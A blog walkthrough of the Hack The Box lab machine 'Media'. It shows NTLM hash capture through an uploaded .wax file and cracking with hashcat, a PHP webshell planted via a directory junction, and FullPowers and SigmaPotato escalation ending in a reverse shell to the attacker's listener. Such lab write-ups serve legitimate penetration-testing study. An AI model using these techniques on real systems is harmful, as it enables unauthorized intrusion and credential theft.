HtB Walkthroughs

CPTS Prep - Media - Medium Windows

Magnus Ensted Danielsen

30 Aug 2026 • 8 min read

Enumeration

I started with a standard Nmap scan to see what was exposed.

r3v@copium ~> sudo nmap -sC -sV 10.129.234.67
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-30 15:34 CEST
Nmap scan report for 10.129.234.67
Host is up (0.13s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE        VERSION
22/tcp   open  ssh            OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp   open  http           Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
3389/tcp open  ms-wbt-server?
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2026-08-29T13:31:48
|_Not valid after:  2027-02-28T13:31:48
|_ssl-date: 2026-08-30T13:36:11+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: MEDIA
|   NetBIOS_Domain_Name: MEDIA
|   NetBIOS_Computer_Name: MEDIA
|   DNS_Domain_Name: MEDIA
|   DNS_Computer_Name: MEDIA
|   Product_Version: 10.0.20348
|_  System_Time: 2026-08-30T13:36:07+00:00

The scan showed a webserver on port 80 and what looked like RDP on port 3389.

Navigating to the webpage, I found a site called "ProMotion Studio" with a video upload feature. My first thought was that if there was no server side validation, I could intercept the upload with Burp and try swapping in something other than a video.

Checking the page source, it looked like validation was happening client side only, which meant it should be bypassable with Burp. (I later learned that you didn't even need to intercept the request and alter it with Burp because the content type wasn't checked)

Before going down that path, I ran Gobuster to check for subdomains and hidden directories first. That enumeration did not turn up any subdomains, and nothing especially interesting in the subdirectories.

Sure enough, the client side validation was bypassable, and I was able to upload a PHP shell. The next problem was finding where the uploads folder actually lived on the server.

I got stuck on that for a while. Eventually I noticed the site mentioned that uploaded files needed to be opened in Windows Media Player, which pointed me toward an NTLM relay style attack rather than a straightforward file discovery problem. I came across this writeup on NTLM vulnerabilities in Windows Media Player related file types, which lined up with what I was seeing:

https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/

I built a malicious .wax file, uploaded it, and set up Responder to listen.

[] Version: Responder 3.1.7.0
[] Author: Laurent Gaffie, [email protected]

[+] Listening for events...

[!] Error starting TCP server on port 53, check permissions or other servers running.
[SMB] NTLMv2-SSP Client : 10.129.234.67
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash : [REDACTED NTLMv2 HASH]

After about a minute, Responder captured an NTLMv2 hash for the user enox. Time to crack it.

[REDACTED HASH]:[REDACTED PASSWORD]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ENOX::MEDIA:1512a48a22760cc1:c29de9dd90d47685f69308...000000
Time.Started.....: Sun Aug 30 16:59:50 2026 (10 secs)
Time.Estimated...: Sun Aug 30 17:00:00 2026 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/home/r3v/Wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........: 1420.3 kH/s (4.23ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13342793/14344384 (93.02%)
Rejected.........: 6217/13342793 (0.05%)
Restore.Point....: 13334597/14344384 (92.96%)
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#3....: 123924cbb -> 123456sM
Hardware.Mon.#3..: Temp: 60c Util: 79%

Started: Sun Aug 30 16:59:48 2026
Stopped: Sun Aug 30 17:00:01 2026

Hashcat cracked it against rockyou.txt. Bingo.

Since Nmap had also shown OpenSSH running, I tried logging in over SSH with the credentials I now had.

powershell
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

enox@MEDIA C:\Users\enox>whoami
media\enox

enox@MEDIA C:\Users\enox>

That worked, I was in as enox.

enox@MEDIA C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is EAD8-5D48

Directory of C:\Users

10/02/2023 10:26 AM

.
10/01/2023 11:48 PM Administrator
10/02/2023 10:26 AM enox
10/01/2023 11:48 PM Public
0 File(s) 0 bytes
4 Dir(s) 9,941,237,760 bytes free

Two user directories stood out, enox and Administrator. The user flag was sitting on the enox desktop, as expected.

Escalating from enox

Running whoami /all confirmed the account and its (fairly limited) group membership and privileges:

PS C:\Users\enox> whoami /all

USER INFORMATION

User Name SID
========== ============================================
media\enox S-1-5-21-161898231-563177350-3296918735-1000

GROUP INFORMATION

Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

From here I spent a long time enumerating without much progress. I eventually checked 0xdf's guide for a hint, which pointed me toward creating a directory junction to reach the actual web root.

PS C:\Windows\Tasks\Uploads> rm .\63d8657e00257592ebf84568f199b308\shelly.php
PS C:\Windows\Tasks\Uploads> rm .\63d8657e00257592ebf84568f199b308
PS C:\Windows\Tasks\Uploads> dir

Directory: C:\Windows\Tasks\Uploads

Mode LastWriteTime Length Name

d----- 8/30/2026 7:53 AM 9b3b8d89c698f5fe1eb075cc3e4fd559
d----- 8/30/2026 7:09 AM 9c7422a3515ba7c2cf5fb78133d007c2
-a---- 8/30/2026 9:10 AM 0 todo.txt

PS C:\Windows\Tasks\Uploads> cmd /c mklink /J C:\Windows\Tasks\Uploads\63d8657e00257592ebf84568f199b308 C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\63d8657e00257592ebf84568f199b308 <<===>> C:\xampp\htdocs
PS C:\Windows\Tasks\Uploads> ls .\63d8657e00257592ebf84568f199b308\

Directory: C:\Windows\Tasks\Uploads\63d8657e00257592ebf84568f199b308

Mode LastWriteTime Length Name

d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php

With the junction in place, I could upload a PHP webshell and get command execution as the web service account. Using PowerShell's base64 encoded command option (URL encoded), I caught a shell.

powershell
Listening on 0.0.0.0 9001
Connection received on 10.129.234.67 57262
SHELL> whoami
nt authority\local service
SHELL> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\xampp\htdocs>
From Local Service to System

The service account's group membership and privileges had been stripped down to prevent exactly this kind of exploitation. To get around that, I used a tool called FullPowers, which restores the privileges normally available to a service account.

PS C:\programdata> .\FullPowers.exe -c 'powershell -e [ENCODED PAYLOAD]' -z

After running FullPowers and picking up a new shell with the full set of privileges restored, I used SigmaPotato to escalate to a SYSTEM shell.

PS C:\Windows\system32> whoami
nt authority\local service
PS C:\Windows\system32> whoami /all

USER INFORMATION

User Name SID
========================== ========
nt authority\local service S-1-5-19

GROUP INFORMATION

Group Name Type SID Attributes
====================================== ================ ================================================================================================ ==================================================
Mandatory Label\System Mandatory Level Label S-1-16-16384
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

PS C:\Windows\system32> cd C:\programdata
PS C:\programdata> dir

Directory: C:\programdata

Mode LastWriteTime Length Name

d----- 10/10/2023 6:41 AM Amazon
d---s- 10/1/2023 11:45 PM Microsoft
d----- 4/15/2025 9:08 PM Package Cache
d----- 8/26/2025 12:58 PM Packages
d----- 8/30/2026 8:52 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 8/30/2026 6:31 AM ssh
d----- 10/2/2023 10:33 AM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 10/2/2023 12:18 AM VMware
-a---- 8/30/2026 10:21 AM 36864 FullPowers.exe
-a---- 8/30/2026 10:24 AM 63488 SigmaPotato.exe

PS C:\programdata> .\SigmaPotato.exe --revshell 10.10.15.93 4447

Catching that reverse shell on my listener confirmed the win.

shell
r3v@copium ~> nc -lvnp 4447
Listening on 0.0.0.0 4447
Connection received on 10.129.234.67 57273
dir

Directory: C:\programdata

Mode LastWriteTime Length Name

PS C:\programdata> whoami
nt authority\system

nt authority\system. The root flag was waiting on the Administrator desktop, wrapping up the box.

Summary

The path through this machine was:

Nmap scan revealing HTTP, SSH, and RDP.
Bypassing client side upload validation on the video upload feature.
Pivoting to an NTLM coercion attack via a malicious .wax file, opened by Windows Media Player.
Capturing and cracking the NTLMv2 hash for enox with Responder and Hashcat.
SSH access as enox, then finding the real web root via a directory junction.
Uploading a PHP webshell for code execution as local service.
Using FullPowers to restore privileges, then SigmaPotato to escalate to SYSTEM.

A fun mix of client side validation bypass, an NTLM relay style trick tied to a media file format and a classic potato style privilege escalation once inside.